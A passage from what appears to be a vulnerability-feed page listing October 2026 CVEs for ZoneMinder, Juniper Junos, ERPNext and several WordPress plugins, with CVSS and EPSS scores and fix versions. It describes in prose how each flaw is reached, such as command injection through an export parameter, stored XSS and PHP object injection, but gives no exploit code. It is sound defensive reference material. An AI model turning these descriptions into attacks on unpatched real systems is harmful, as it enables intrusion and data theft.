NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108374&date=2026-10-25
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.121.0 and 16.34.0, certain endpoints for status modification fail to enforce proper authorization checks. A low-privileged authenticated user can invoke state-changing whitelisted methods without required write, submit, cancel, document, or role checks. This allows the user to modify data beyond the user's permitted role. This issue is fixed in versions 15.121.0 and 16.34.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZoneMinder is a free, open source closed-circuit television software application.
https://kevwire.com/record/CVE-2026-102607
ZoneMinder is a free, open source closed-circuit television software application. (Oct 16, 2026).
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, the exportEvents() function concatenates the attacker-controlled exportFile request parameter into a shell command without neutralizing shell metacharacters when an authenticated user with View Events or View Snapshots permission submits an event export request with a crafted exportFile value, a valid CSRF token, and exportDetail enabled. The affected components are exportEvents(), exportFile, web/ajax/event.php, web/skins/classic/includes/export_functions.php. In this attack mechanism, the crafted exportFile value reaches the trailing directory argument of a tar or zip command executed by exec(). The attacker can execute arbitrary operating system commands as the web server user. This issue is fixed in version 1.38.3.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102607).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102607&date=2026-10-25).
Sources:
NVD CVE-2026-102607: https://nvd.nist.gov/vuln/detail/CVE-2026-102607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102607&date=2026-10-25
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, the exportEvents() function concatenates the attacker-controlled exportFile request parameter into a shell command without neutralizing shell metacharacters when an authenticated user with View Events or View Snapshots permission submits an event export request with a crafted exportFile value, a valid CSRF token, and exportDetail enabled. The affected components are exportEvents(), exportFile, web/ajax/event.php, web/skins/classic/includes/export_functions.php. In this attack mechanism, the crafted exportFile value reaches the trailing directory argument of a tar or zip command executed by exec(). The attacker can execute arbitrary operating system commands as the web server user. This issue is fixed in version 1.38.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent...
https://kevwire.com/record/CVE-2026-102066
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent... (Oct 14, 2026).
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a malformed RSVP packet when RSVP is enabled on the receiving interface.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102066).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102066&date=2026-10-25).
Sources:
NVD CVE-2026-102066: https://nvd.nist.gov/vuln/detail/CVE-2026-102066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102066&date=2026-10-25
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a malformed RSVP packet when RSVP is enabled on the receiving interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP...
https://kevwire.com/record/CVE-2026-101952
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP... (Oct 14, 2026).
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP ISO-VPN peer to cause an rpd crash by sending a specific ISO-VPN update which is then processed by BMP route monitoring or NSR.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101952).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101952&date=2026-10-25).
Sources:
NVD CVE-2026-101952: https://nvd.nist.gov/vuln/detail/CVE-2026-101952
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101952&date=2026-10-25
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP ISO-VPN peer to cause an rpd crash by sending a specific ISO-VPN update which is then processed by BMP route monitoring or NSR.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and...
https://kevwire.com/record/CVE-2026-100316
The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and... (Oct 17, 2026).
The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and including, 1.36.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious header value is persisted verbatim into order post-meta during a guest checkout, meaning no account or authentication is required to plant the payload.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100316).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100316&date=2026-10-25).
Sources:
NVD CVE-2026-100316: https://nvd.nist.gov/vuln/detail/CVE-2026-100316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100316&date=2026-10-25
The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and including, 1.36.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious header value is persisted verbatim into order post-meta during a guest checkout, meaning no account or authentication is required to plant the payload.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-103899
The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including,... (Oct 17, 2026).
The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including, 2.1.30.260413 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The stored payload executes in the administrator's browser context when reviewing an order via WooCommerce → Orders → Edit Order, enabling privilege escalation up to and including full site takeover via rogue administrator account creation.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103899).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103899&date=2026-10-25).
Sources:
NVD CVE-2026-103899: https://nvd.nist.gov/vuln/detail/CVE-2026-103899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103899&date=2026-10-25
The EU VAT Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vat_number' parameter in all versions up to, and including, 2.1.30.260413 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The stored payload executes in the administrator's browser context when reviewing an order via WooCommerce → Orders → Edit Order, enabling privilege escalation up to and including full site takeover via rogue administrator account creation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via...
https://kevwire.com/record/CVE-2026-104734
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via... (Oct 17, 2026).
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. By default, Editor-level users are granted FULL_ACCESS to the plugin's import endpoint via the KIRKI_USERS_DEFAULT_FULL_ACCESS configuration, meaning exploitation is possible at Editor privilege level rather than being restricted to administrators alone.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104734).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104734&date=2026-10-25).
Sources:
NVD CVE-2026-104734: https://nvd.nist.gov/vuln/detail/CVE-2026-104734
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104734&date=2026-10-25
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 6.3.2 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. By default, Editor-level users are granted FULL_ACCESS to the plugin's import endpoint via the KIRKI_USERS_DEFAULT_FULL_ACCESS configuration, meaning exploitation is possible at Editor privilege level rather than being restricted to administrators alone.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email'...
https://kevwire.com/record/CVE-2026-104736
The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email'... (Oct 17, 2026).
The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email' request parameter during the checkout AJAX action. The value is passed through sanitize_text_field(), which does not strip serialized object syntax, then stored in the LearnPress session table and later fed to LP_Helper::maybe_unserialize() → unserialize() (without an allowed_classes restriction) by LP_Session_Handler::get() on subsequent requests. This makes it possible for unauthenticated attackers to inject a PHP Object.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104736).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104736&date=2026-10-25).
Sources:
NVD CVE-2026-104736: https://nvd.nist.gov/vuln/detail/CVE-2026-104736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104736&date=2026-10-25
The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email' request parameter during the checkout AJAX action. The value is passed through sanitize_text_field(), which does not strip serialized object syntax, then stored in the LearnPress session table and later fed to LP_Helper::maybe_unserialize() → unserialize() (without an allowed_classes restriction) by LP_Session_Handler::get() on subsequent requests. This makes it possible for unauthenticated attackers to inject a PHP Object.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2...
https://kevwire.com/record/CVE-2026-107762
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2... (Oct 17, 2026).
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary users' sensitive profile data — including email address, display name, nicename, registration date, profile image URL, and any string-valued user meta fields such as first name, last name, nickname, description, and custom meta keys — via the REST response. Exploitation requires a published page that uses a Kirki template containing at least one user-type dynamic content block; target user IDs are enumerable via standard WordPress REST endpoints, making the only prerequisite the presence of such a template on the site.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107762).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107762&date=2026-10-25).
Sources:
NVD CVE-2026-107762: https://nvd.nist.gov/vuln/detail/CVE-2026-107762
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107762&date=2026-10-25
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary users' sensitive profile data — including email address, display name, nicename, registration date, profile image URL, and any string-valued user meta fields such as first name, last name, nickname, description, and custom meta keys — via the REST response. Exploitation requires a published page that uses a Kirki template containing at least one user-type dynamic content block; target user IDs are enumerable via standard WordPress REST endpoints, making the only prerequisite the presence of such a template on the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not...
https://kevwire.com/record/CVE-2026-108123
The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not... (Oct 17, 2026).
The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to read the stored notification email body of any booking by iterating booking_id and email_log_id, exposing customer PII including names, email addresses, phone numbers, messages, and booking dates intended to be visible only to administrators. This is exploitable by any Subscriber-level user because admin_init fires on profile.php, a wp-admin page accessible to all authenticated users.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108123).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108123&date=2026-10-25).
Sources:
NVD CVE-2026-108123: https://nvd.nist.gov/vuln/detail/CVE-2026-108123
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108123&date=2026-10-25
The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.0.3 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to read the stored notification email body of any booking by iterating booking_id and email_log_id, exposing customer PII including names, email addresses, phone numbers, messages, and booking dates intended to be visible only to administrators. This is exploitable by any Subscriber-level user because admin_init fires on profile.php, a wp-admin page accessible to all authenticated users.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) /...
https://kevwire.com/record/CVE-2026-109208
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) /... (Oct 17, 2026).
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) / order_comments (checkout)' parameter in all versions up to, and including, 4.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. With guest checkout enabled the attack is fully unauthenticated; with guest checkout disabled, any Subscriber-level user can exploit both vectors through their own checkout.
CVSS 7.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109208).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109208&date=2026-10-25).
Sources:
NVD CVE-2026-109208: https://nvd.nist.gov/vuln/detail/CVE-2026-109208
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109208&date=2026-10-25
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'quantity (REST) / order_comments (checkout)' parameter in all versions up to, and including, 4.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. With guest checkout enabled the attack is fully unauthenticated; with guest checkout disabled, any Subscriber-level user can exploit both vectors through their own checkout.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected...
https://kevwire.com/record/CVE-2026-109701
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected... (Oct 17, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected XSS.This issue affects PAYCOMET for WooCommerce: from n/a through 5.45.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109701).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109701&date=2026-10-25).
Sources:
NVD CVE-2026-109701: https://nvd.nist.gov/vuln/detail/CVE-2026-109701
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109701&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected XSS.This issue affects PAYCOMET for WooCommerce: from n/a through 5.45.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics:...
https://kevwire.com/record/CVE-2026-109895
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics:... (Oct 18, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics: from n/a through 1.0.29.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109895).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109895&date=2026-10-25).
Sources:
NVD CVE-2026-109895: https://nvd.nist.gov/vuln/detail/CVE-2026-109895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109895&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics Booktics booktics allows DOM-Based XSS.This issue affects Booktics: from n/a through 1.0.29.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz...
https://kevwire.com/record/CVE-2026-110379
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz... (Oct 19, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz Maker: from n/a through 6.7.1.91.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110379).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110379&date=2026-10-25).
Sources:
NVD CVE-2026-110379: https://nvd.nist.gov/vuln/detail/CVE-2026-110379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110379&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Quiz Maker quiz-maker allows Reflected XSS.This issue affects Quiz Maker: from n/a through 6.7.1.91.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows...
https://kevwire.com/record/CVE-2026-110383
Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows... (Oct 18, 2026).
Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electronic Signature Add-on for Fluent Forms: from n/a through 2.0.5.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110383).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110383&date=2026-10-25).
Sources:
NVD CVE-2026-110383: https://nvd.nist.gov/vuln/detail/CVE-2026-110383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110383&date=2026-10-25
Authorization Bypass Through User-Controlled Key vulnerability in WP E-Signature Electronic Signature Add-on for Fluent Forms signature-fluent-contract-forms-add-on allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electronic Signature Add-on for Fluent Forms: from n/a through 2.0.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows...
https://kevwire.com/record/CVE-2026-110384
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows... (Oct 17, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows Reflected XSS.This issue affects Fancy Comments WordPress: from n/a through 1.2.21.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110384).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110384&date=2026-10-25).
Sources:
NVD CVE-2026-110384: https://nvd.nist.gov/vuln/detail/CVE-2026-110384
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110384&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows Reflected XSS.This issue affects Fancy Comments WordPress: from n/a through 1.2.21.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up...
https://kevwire.com/record/CVE-2026-110653
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up... (Oct 17, 2026).
